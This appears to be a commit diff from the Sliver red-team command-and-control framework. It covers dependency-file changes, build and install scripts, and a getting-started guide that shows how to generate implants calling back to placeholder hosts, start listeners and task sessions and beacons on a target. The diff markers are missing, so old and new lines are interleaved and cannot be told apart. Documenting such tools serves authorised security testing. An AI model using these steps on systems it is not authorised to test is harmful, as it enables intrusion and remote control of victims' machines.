jekyll-theme-minimal (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-modernist (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-primer (0.6.0)
jekyll-theme-primer (0.5.4)
jekyll (> 3.5, < 5.0)
jekyll-github-metadata (~> 2.9)
jekyll-seo-tag (~> 2.0)
jekyll-theme-slate (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-slate (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-tactile (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-tactile (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-time-machine (0.2.0)
jekyll (> 3.5, < 5.0)
jekyll-theme-time-machine (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-titles-from-headings (0.5.3)
jekyll (>= 3.3, < 5.0)
@@ -221,33 +213,35 @@ GEM
kramdown-parser-gfm (1.1.0)
kramdown (~> 2.0)
liquid (4.0.3)
listen (3.7.1)
listen (3.5.1)
rb-fsevent (~> 0.10, >= 0.10.3)
rb-inotify (~> 0.9, >= 0.9.10)
mercenary (0.3.6)
mini_portile2 (2.8.0)
mini_portile2 (2.6.1)
minima (2.5.1)
jekyll (>= 3.5, < 5.0)
jekyll-feed (~> 0.9)
jekyll-seo-tag (~> 2.1)
minitest (5.15.0)
minitest (5.14.4)
multipart-post (2.1.1)
nokogiri (1.13.3)
mini_portile2 (~> 2.8.0)
nokogiri (1.12.5)
mini_portile2 (~> 2.6.1)
racc (~> 1.4)
octokit (4.22.0)
octokit (4.21.0)
faraday (>= 0.9)
sawyer (~> 0.8.0, >= 0.5.3)
pathutil (0.16.2)
forwardable-extended (~> 2.6)
public_suffix (4.0.6)
racc (1.6.0)
rb-fsevent (0.11.1)
racc (1.5.2)
rb-fsevent (0.11.0)
rb-inotify (0.10.1)
ffi (~> 1.0)
rexml (3.2.5)
rouge (3.26.0)
ruby2_keywords (0.0.5)
ruby-enum (0.9.0)
i18n
ruby2_keywords (0.0.4)
rubyzip (2.3.2)
safe_yaml (1.0.5)
sass (3.7.4)
@@ -267,14 +261,14 @@ GEM
ethon (>= 0.9.0)
tzinfo (1.2.9)
thread_safe (~> 0.1)
tzinfo-data (1.2021.5)
tzinfo-data (1.2021.1)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.8)
unicode-display_width (1.8.0)
unf_ext (0.0.7.7)
unicode-display_width (1.7.0)
wdm (0.1.1)
zeitwerk (2.5.4)
zeitwerk (2.4.2)
PLATFORMS
ruby
+32 -143
View File
@@ -6,28 +6,27 @@ date: 2021-07-07 09:01:33 -0500
categories: sliver
---
# 1. Server Setup
The first thing you'll need to do is setup a Sliver server.
The server supports Linux, Windows, and MacOS however we recommend running the server on a Linux or MacOS host, as some features may be more difficult to get working on a Windows server. However, the Windows client should work just fine when accessing a Linux/MacOS server.
Download the latest [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. The first time you run the server it'll need to unpack some assets, which may take a minute or two, subsequent start ups should be faster.
__NOTE:__ Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable shellcode/staged payloads you need to install MinGW. To enable MSF integrations you'll need Metasploit installed.
The `Dockerfile` build of Sliver is mostly designed to run the unit tests but includes both MinGW and Metasploit. If you plan to run the server using Docker you'll need to forward the appropriate TCP ports (e.g. 80, 443, 31337) yourself.
__⚠️ NOTE:__ This guide is intended for experienced red teamers, but we also have a [Beginner's Guide](https://github.com/BishopFox/sliver/wiki/Beginner's-Guide) for a more beginner friendly tutorial.
## Server Setup
The first thing you'll need to do is setup a Sliver server, Sliver is designed for a one server deployment per-operation.
The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, if for some odd reason your operators want to actually use Windows you'll just need to setup [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
Download the latest sever [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
__IMPORTANT:__ Sliver has two external dependancies for _optional_ features: MinGW and Metasploit. To enable DLL payloads you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
### MinGW Setup (Optional, Recommended)
### MinGW Setup (Optional)
In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
#### Linux (Debian-based)
#### Linux
```
apt install mingw-w64
apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
```
#### MacOS
@@ -36,65 +35,39 @@ apt install mingw-w64
brew install mingw-w64
```
__Note:__ On MacOS may have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
__Note:__ On MacOS you'll likely have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
### Metasploit Setup (Optional)
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects MSF version 5+.
## Implants Beacon vs. Session
Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](https://github.com/BishopFox/sliver/wiki/Stagers) for actual operations. Such is the tradeoff for getting easy static compilation in Golang.
Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol.
Beacons may be tasked to open interactive sessions over _any C2 protocol they were compiled with_ using the `interactive` command, i.e., if a beacon implant was not compiled with HTTP C2 it cannot open a session over HTTP (use the `close` command to close the session). Currently implants initially compiled for session mode cannot be converted to beacon mode (we may add this feature later). Take this into account during operational planning.
Some commands such as `shell` and `portfwd` only work over interactive sessions.
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects version 5 or later.
## Generating Implants
__IMPORTANT:__ The first time you generate an implant the server needs to download some Go module code, so the server must have internet access. See [offline implant builds](https://github.com/BishopFox/sliver/wiki/Offline-Implant-Builds) if this is a problem for you. The modules are cached.
Generating implants is done using the `generate` command, you must specify at least one C2 endpoint using `--mtls`, `--wg`, `--http`, or `--dns`. Note that when an implant attempts to connect to an endpoint specified using `--http` it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (`--mtls`) or WireGuard (`--wg`) whenever possible. You can also specify an output directory with `--save`, by default the implant will be saved to the current working directory.
#### Session Mode
```
[server] sliver > generate --mtls example.com --save /Users/moloch/Desktop
sliver > generate --mtls example.com --save /Users/moloch/Desktop
[*] Generating new windows/amd64 Sliver binary
[*] Build completed in 00:00:16
[*] Build completed in 00:10:16
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
```
#### Beacon Mode
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. WARNING: Some commands/features may not work on "unsupported" platforms.
```
[server] sliver > generate beacon --mtls example.com --save /Users/moloch/Desktop
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:00:27
[*] Implant saved to /Users/moloch/Desktop/FINE_SENTENCE.exe
```
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.
Some commands/features may not work on "unsupported" platforms.
```
sliver > generate --mtls example.com --save /Users/moloch/Desktop --os mac
sliver > generate --mtls example.com --save /Users/moloch/Desktop --skip-symbols --os mac
[*] Generating new darwin/amd64 Sliver binary
[*] Build completed in 00:00:09
[!] Symbol obfuscation is disabled
[*] Build completed in 00:00:03
[*] Sliver binary saved to: /Users/moloch/Desktop/PROPER_ANTHONY
```
The server will also assign code names to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these code names will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `implants` command:
The server will also assign codenames to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these codenames will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `slivers` command:
```
sliver > implants
sliver > slivers
Name OS/Arch Debug Format
==== ======= ===== ======
@@ -110,7 +83,7 @@ SICK_SPY darwin/amd64 false EXECUTABLE
If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) comes after the command flags (e.g., `--save`):
```
sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
sliver > regenerate --save /Users/moloch/Desktop/ NEW_GRAPE
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
```
@@ -123,7 +96,7 @@ For addition details about each C2 please see:
## Getting Shells
Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a `https` listener). You can use the `jobs` command to view and manage listeners running in the background. Listeners support both sessions and beacons callbacks:
Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a listener started with `https`). You can use the `jobs` command to view and manage listeners running in the background.
```
sliver > mtls
@@ -140,101 +113,26 @@ ID Name Protocol Port
In this example we're using Mutual TLS, the required certificates for setting up and securing this connection have already been generated in the background and the client certificate pair was embedded into the implant at compile-time. So to get a shell you just have to run the binary on the target.
### Interacting with Sessions
The `use` command will tab-complete session and beacon identifiers, but you can also type them out if you really want to (identifier prefixes are accepted). Additionally, running the `use` command with no arguments will enter an interactive menu to select from.
```
[*] Session 8ff2ce4c LONG_DRAMATURGE - [::1]:57154 (MacBook-Pro-6.local) - darwin/amd64 - Thu, 20 Jan 2022 15:45:10 CST
[*] Session #1 PROPER_ANTHONY - 127.0.0.1:49929 (narvi.local) - darwin/amd64
sliver > use 8ff2ce4c
sliver > use 1
[*] Active session LONG_DRAMATURGE (8ff2ce4c-9c66-4cbc-b33c-2a56196536e6)
[*] Active sliver PROPER_ANTHONY (1)
sliver (LONG_DRAMATURGE) > ls
sliver (PROPER_ANTHONY) > ls
/Users/moloch/Desktop
=====================
.DS_Store 6.0 KiB
.localized 0 B
LONG_DRAMATURGE 6.3 MiB
PROPER_ANTHONY 6.3 MiB
```
If you're having problems getting callbacks please see our [troubleshooting guide](https://github.com/BishopFox/sliver/wiki/Troubleshooting#implant-troubleshooting), (TL;DR add the `--debug` flag when generating an implant).
### Interacting with Beacons
Upon initial execution the beacon will register itself with the C2 server and will show up under `beacons`, each instance of a beacon process will get its own id and this id is used for the lifetime of that process (i.e., across key renegotiation, etc). The "Next Check-in" value includes any random jitter (by default up to 30s), and you can also watch your beacons in real time using the `beacons watch` command. Remember to leverage tab complete for the uuid when using `use`:
```
[*] Beacon 8c465643 RELATIVE_ADVERTISEMENT - 192.168.1.178:54701 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:40:55 CST
[server] sliver > beacons
ID Name Tasks Transport Remote Address Hostname Username Operating System Last Check-In Next Check-In
========== ======================== ======= =========== ===================== ================= =============================== ================== ================ ===============
8c465643 RELATIVE_ADVERTISEMENT 0/0 mtls 192.168.1.178:54701 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 49.385459s ago 37.614549s
[server] sliver > use 8c465643-0e65-45f2-bb7e-acb3480de3cb
[*] Active beacon RELATIVE_ADVERTISEMENT (8c465643-0e65-45f2-bb7e-acb3480de3cb)
[server] sliver (RELATIVE_ADVERTISEMENT) >
```
You should see a blue prompt indicating that we're interacting with a beacon as apposed to a session (red). Commands are executed the same way as a session, though not all commands are supported in beacon mode.
```
[server] sliver (RELATIVE_ADVERTISEMENT) > ls
[*] Tasked beacon RELATIVE_ADVERTISEMENT (962978a6)
[+] RELATIVE_ADVERTISEMENT completed task 962978a6
C:\git
======
drwxrwxrwx a <dir> Wed Dec 22 15:34:56 -0600 2021
...
```
Tasks will execute in the order they were created (FIFO).
__⚠️ IMPORTANT:__ Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.
You can view previous tasks executed by the active beacon using the `tasks` command:
```
[server] sliver (RELATIVE_ADVERTISEMENT) > tasks
ID State Message Type Created Sent Completed
========== =========== ============== =============================== =============================== ===============================
90294ad2 completed Ls Sat, 22 Jan 2022 14:45:00 CST Sat, 22 Jan 2022 14:45:11 CST Sat, 22 Jan 2022 14:45:11 CST
962978a6 completed Ls Sat, 22 Jan 2022 14:42:43 CST Sat, 22 Jan 2022 14:43:53 CST Sat, 22 Jan 2022 14:43:53 CST
```
You can get the old output from the task using `tasks fetch` and selecting the task you want to see the output from. Note that in this case these task output is stored on the server, so operators in multiplayer mode can fetch output from tasks issued by other operators. However, operators will only see the automatic results from tasks that they executed. You can disable the automatic display of task results using the `settings` command.
#### Switching from Beacon Mode to Session Mode
You can use the `interactive` command to task a beacon to open an interactive session, with no arguments the current C2 channel will be used:
```
[server] sliver (RELATIVE_ADVERTISEMENT) > interactive
[*] Using beacon's active C2 endpoint: mtls://192.168.1.150:8888
[*] Tasked beacon RELATIVE_ADVERTISEMENT (3920e899)
[*] Session 223fac7e RELATIVE_ADVERTISEMENT - 192.168.1.178:54733 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:55:24 CST
```
__⚠️ IMPORTANT:__ You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with `--http` you won't be able to open an interactive session over HTTP. However, you can specify alternative _endpoints_ (such as a redirector on another domain) using the `interactive` command's flags.
When you're done using the interactive session use the `close` command to close the interactive session without killing the implant; the beacon will still perform check-ins while an interactive session is open.
## Multiple Domains/Protocols
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> WG -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
```
sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
@@ -242,13 +140,4 @@ sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
Eventually we'll add a feature to manually specify the fallback protocols, or you can add this feature and send up a PR :).
## What Next?
Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest:
* [Armory](https://github.com/BishopFox/sliver/wiki/Armory)
* [Stagers](https://github.com/BishopFox/sliver/wiki/Stagers)
* [Port Forwarding](https://github.com/BishopFox/sliver/wiki/Port-Forwarding)
* [Reverse SOCKS](https://github.com/BishopFox/sliver/wiki/Reverse-SOCKS)
* [BOF/COFF Support](https://github.com/BishopFox/sliver/wiki/BOF-&-COFF-Support)
+32 -11
View File
@@ -10,13 +10,13 @@ fi
if [ -n "$(command -v yum)" ]
then
yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc
yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
fi
if [ -n "$(command -v apt-get)" ]
then
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
gpg curl build-essential \
zip unzip gpg curl build-essential \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
fi
@@ -32,6 +32,12 @@ then
echo "awk could not be found"
exit 1
fi
# Zip
if ! command -v zip &> /dev/null
then
echo "zip could not be found"
exit 1
fi
# GPG
if ! command -v gpg &> /dev/null
then
@@ -100,34 +106,49 @@ EOF
# Download and Unpack Sliver Server
#
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
SLIVER_SERVER='sliver-server_linux'
SLIVER_CLIENT='sliver-client_linux'
SLIVER_SERVER_ZIP='sliver-server_linux.zip'
SLIVER_CLIENT_ZIP='sliver-client_linux.zip'
SLIVER_SERVER='sliver-server'
SLIVER_CLIENT='sliver-client'
for URL in $ARTIFACTS
do
if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
if [[ "$URL" == *"$SLIVER_SERVER_ZIP"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
fi
if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
if [[ "$URL" == *"$SLIVER_CLIENT_ZIP"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
fi
done
echo "Verifying signatures ..."
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER.sig /root/$SLIVER_SERVER
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT.sig /root/$SLIVER_CLIENT
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
if test -f "/root/$SLIVER_SERVER_ZIP"; then
unzip -o /root/$SLIVER_SERVER_ZIP -d /root
rm -f /root/$SLIVER_SERVER_ZIP
else
exit 2
fi
if test -f "/root/$SLIVER_SERVER"; then
mv /root/$SLIVER_SERVER /root/sliver-server
chmod 755 /root/sliver-server
/root/sliver-server unpack --force
chmod 755 /root/$SLIVER_SERVER
/root/$SLIVER_SERVER unpack --force
else
exit 3
fi
if test -f "/root/$SLIVER_CLIENT_ZIP"; then
unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
rm -f /root/$SLIVER_CLIENT_ZIP
else
exit 2
fi
if test -f "/root/$SLIVER_CLIENT"; then
chmod 755 /root/$SLIVER_CLIENT
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
+10 -15
View File
@@ -16,12 +16,11 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
set -e
# Creates the static go asset archives
GO_VER="1.18"
GARBLE_VER="1.18.0"
GO_VER="1.17.5"
GARBLE_VER="1.17.5"
GO_ARCH_1="amd64"
GO_ARCH_2="arm64"
@@ -50,7 +49,7 @@ fi
REPO_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
OUTPUT_DIR=$REPO_DIR/server/assets/fs
mkdir -p $OUTPUT_DIR
CLIENT_OUTPUT_DIR=$REPO_DIR/client/assets/fs
WORK_DIR=`mktemp -d`
echo "-----------------------------------------------------------------"
@@ -134,20 +133,16 @@ cp -vv windows-go.zip $OUTPUT_DIR/windows/$GO_ARCH_1/go.zip
rm -rf ./go
rm -f windows-go.zip go$GO_VER.windows-$GO_ARCH_1.zip
# --- Client ---
mkdir -p $CLIENT_OUTPUT_DIR/extensions/coff-loader/windows
echo "-----------------------------------------------------------------"
echo " Garble"
echo "-----------------------------------------------------------------"
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
file $OUTPUT_DIR/linux/$GO_ARCH_1/garble
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
curl -L --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
curl -L --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
# end
echo -e "clean up: $WORK_DIR"
+25 -22
View File
@@ -2,6 +2,9 @@ module github.com/bishopfox/sliver
go 1.17
// fix wgctrl requiring old wireguard
replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
require (
@@ -11,7 +14,7 @@ require (
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/Microsoft/go-winio v0.4.16 // indirect
github.com/alecthomas/chroma v0.8.1
github.com/cheggaaa/pb/v3 v3.0.5
github.com/desertbit/columnize v2.1.0+incompatible
@@ -31,38 +34,37 @@ require (
github.com/lesnuages/snitch v0.6.0
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-sqlite3 v1.14.12
github.com/mattn/go-sqlite3 v1.14.9
github.com/miekg/dns v1.1.35
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/pquerna/otp v1.3.0
github.com/sergi/go-diff v1.1.0 // indirect
github.com/sirupsen/logrus v1.8.1
github.com/sirupsen/logrus v1.7.0
github.com/spf13/cobra v1.1.1
github.com/stretchr/testify v1.7.0
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
golang.org/x/text v0.3.7
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
google.golang.org/protobuf v1.27.1
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/net v0.0.0-20210614182718-04defd469f4e
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1
golang.org/x/text v0.3.6
golang.zx2c4.com/wireguard v0.0.20200121
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20200609130330-bd2cb7843e1b
google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46 // indirect
google.golang.org/grpc v1.37.0
google.golang.org/protobuf v1.26.0
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
gorm.io/driver/mysql v1.0.3
gorm.io/driver/postgres v1.0.5
gorm.io/driver/sqlite v1.1.3
gorm.io/gorm v1.21.14
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
)
require (
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/shirou/gopsutil/v3 v3.21.10
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
modernc.org/sqlite v1.16.0
modernc.org/sqlite v1.14.3
)
require (
@@ -103,19 +105,20 @@ require (
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
golang.org/x/mod v0.5.1 // indirect
golang.org/x/mod v0.3.0 // indirect
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
golang.org/x/tools v0.1.9 // indirect
golang.org/x/tools v0.1.0 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
lukechampine.com/uint128 v1.1.1 // indirect
modernc.org/cc/v3 v3.35.24 // indirect
modernc.org/ccgo/v3 v3.15.18 // indirect
modernc.org/libc v1.14.12 // indirect
modernc.org/cc/v3 v3.35.18 // indirect
modernc.org/ccgo/v3 v3.12.95 // indirect
modernc.org/libc v1.11.104 // indirect
modernc.org/mathutil v1.4.1 // indirect
modernc.org/memory v1.0.7 // indirect
modernc.org/memory v1.0.5 // indirect
modernc.org/opt v0.1.1 // indirect
modernc.org/strutil v1.1.1 // indirect
modernc.org/token v1.0.0 // indirect
+45 -724
View File
File diff suppressed because it is too large. Load diff
+19 -19
View File
@@ -1,24 +1,24 @@
module github.com/bishopfox/sliver
go 1.17
go 1.16
require (
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
github.com/Microsoft/go-winio v0.5.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/gofrs/uuid v4.0.0+incompatible
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/pquerna/otp v1.3.0
github.com/stretchr/testify v1.7.0
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
golang.zx2c4.com/wireguard/windows v0.5.1
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
google.golang.org/protobuf v1.23.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
github.com/Microsoft/go-winio v0.5.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/gofrs/uuid v4.0.0+incompatible
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/pquerna/otp v1.3.0
github.com/stretchr/testify v1.7.0
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
golang.zx2c4.com/wireguard/windows v0.5.1
google.golang.org/protobuf v1.23.0
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
)
+1 -4
View File
@@ -29,11 +29,11 @@ import (
"io"
"os"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"time"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
@@ -73,9 +73,6 @@ func ECCEncrypt(recipientPublicKey *[32]byte, senderPrivateKey *[32]byte, plaint
// ECCDecrypt - Decrypt using Curve 25519 + ChaCha20Poly1305
func ECCDecrypt(senderPublicKey *[32]byte, recipientPrivateKey *[32]byte, ciphertext []byte) ([]byte, error) {
if len(ciphertext) < 24 {
return nil, errors.New("ciphertext too short")
}
var decryptNonce [24]byte
copy(decryptNonce[:], ciphertext[:24])
plaintext, ok := box.Open(nil, ciphertext[24:], &decryptNonce, senderPublicKey, recipientPrivateKey)
+2 -3
View File
@@ -43,7 +43,6 @@ var (
// TOTP secret value
totpSecret = "{{.OTPSecret}}"
// ErrInvalidPeerKey - Peer to peer key exchange failed
ErrInvalidPeerKey = errors.New("invalid peer key")
)
